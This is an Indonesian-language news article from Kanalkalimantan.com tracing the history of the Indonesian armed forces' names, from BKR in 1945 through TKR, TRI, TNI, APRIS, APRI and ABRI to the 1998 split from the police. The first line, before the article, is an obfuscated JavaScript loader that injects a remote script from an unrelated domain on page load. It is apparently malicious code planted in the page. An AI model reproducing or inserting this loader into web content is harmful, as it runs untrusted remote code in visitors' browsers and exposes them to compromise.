(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Sejarah panjang penamaan angkatan perang Republik Indonesia pernah memakai nama yang berganti-ganti, dari BKR ke TKR tak sampai sebulan jadi TRI, hingga ABRI.
ABRI sendiri merupakan peleburan TNI dan Polisi pada tahun 1962. Hari ABRI diperingati setiap tanggal 5 Oktober.
Setelah Reformasi 1998, 3 angkatan militer, yaitu Angkatan Darat, Angkatan Laut, dan Angkatan Udara dikembalikan menjadi TNI. Mereka terpisah dari Polisi yang memiliki institusi sendiri yakni Polri.
Kronologi Sejarah TNI
Riwayat terbentuknya TNI sebagai angkatan bersenjata RI melalui jalan panjang sejak Proklamasi Kemerdekaan 17 Agustus 1945. Nama yang dipakai untuk menyebut angkatan perang Indonesia ini pun mengalami beberapa kali pergantian, berikut urutan dan kronologi sejarahnya:
Baca juga : Suporter Banua Doa Bersama di Mess L, Rivalitas Itu Hanya 90 Menit di Lapangan
19 Agustus 1945
Dua hari setelah proklamasi kemerdekaan yakni tanggal 19 Agustus 1945, para pimpinan pemuda di Jakarta menyusun rancangan dekrit pembentukan tentara Indonesia sebagai kelengkapan negara yang telah diproklamirkan. Upaya pembentukan angkatan militer resmi negara ini dilakukan sekaligus untuk menghadapi penguasa Jepang yang masih lengkap persenjataannya.
22-23 Agustus 1945
Rancangan dekrit pembentukan tentara itu kemudian diubah menjadi maklumat pembentukan suatu badan keamanan. Maka dibentuklah Badan Keamanan Rakyat (BKR) pada 22 Agustus 1945.
BKR pada awalnya hanya disisipkan sebagai bagian dari Badan Penolong Keluarga Korban Perang (BPKKP) yang telah didirikan sebelumnya agar tidak membuat penguasa Jepang curiga.
Pembentukan BKR direstui Presiden Sukarno sehari kemudian, yakni tanggal 23 Agustus 1945, dan terdiri dari BKR Darat, Laut, dan Udara. Kendati begitu, BKR belum ditempatkan sebagai angkatan bersenjata reguler, melainkan hanya untuk menjaga keamanan saja. BKR juga bukan merupakan institusi yang dibebani tanggung jawab sebagai pertahanan negara.
5 Oktober 1945
Seiring kedatangan pasukan Sekutu yang diboncengi oleh Belanda dengan wujud NICA, fungsi BKR pun ditingkatkan. Melalui Maklumat Pemerintah tanggal 5 Oktober 1945, nama BKR diubah menjadi Tentara Keamanan Rakyat atau disingkat TKR.
Tanggal resmi pembentukan TKR inilah yang kemudian ditetapkan sebagai hari ulang tahun TNI dan diperingati setiap tanggal 5 Oktober.
Baca juga : DKISP Banjar : Perlu Bangun Metadata Statistik Sektoral guna Wujudkan Smart City
7 Januari 1946
Pada 7 Januari 1946, sebutan angkatan perang Republik Indonesia kembali mengalami perubahan menjadi Tentara Keselamatan Rakyat, singkatannya tetap TKR.
26 Januari 1946
Tak sampai sebulan, tepatnya tanggal 26 Januari 1946, diterbitkan maklumat untuk terjadinya kembali pergantian nama menjadi Tentara Republik Indonesia yang disingkat dengan TRI.
3 Juni 1947
Penyebutan singkatan angkatan bersenjata Indonesia lagi-lagi berganti. Tanggal 3 Juni 1947, TRI berubah nama menjadi Tentara Nasional Indonesia (TNI) dan disahkan oleh Presiden Sukarno. Panglima Besar Angkatan Perang Jenderal Sudirman ditunjuk sebagai pucuk pimpinan TNI.
27 Desember 1949
Setelah penyerahan kedaulatan dari Belanda pada 27 Desember 1949 melalui Konferensi Meja Bundar (KMB), Indonesia berubah menjadi negara federasi dengan nama Republik Indonesia Serikat (RIS). Sejalan dengan itu, maka dibentuk pula Angkatan Perang RIS (APRIS).
17 Agustus 1950
Tanggal 17 Agustus 1950, RIS dibubarkan dan Indonesia kembali menjadi negera kesatuan sehingga APRIS berganti nama menjadi Angkatan Perang Republik Indonesia (APRI).
Baca juga : SMAN 3 Banjarbaru-MTs Al Falah Kampium Turnamen Futsal Afkot Banjarbaru
1962
Pada 1962, terjadi penyatuan antara organisasi angkatan perang dan kepolisian menjadi Angkatan Bersenjata Republik Indonesia (ABRI). Dikutip dari website resmi TNI. Penyatuan ini dilakukan dengan tujuan untuk mencapai tingkat efektivitas dan efisiensi dalam melaksanakan peran organisasi keamanan negara dan menjauhkan pengaruh dari kelompok politik tertentu.
1998
Seiring runtuhnya rezim Orde Baru dengan lengsernya Soeharto dari kursi kepresidenan sejak reformasi 1998, maka tiga angkatan milier yakni Angkatan Darat, Angkatan Laut, dan Angkatan Udara, dikembalikan menjadi TNI, serta terpisah dari Kepolisian Republik Indonesia (Polri) yang memiliki institusi sendiri. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.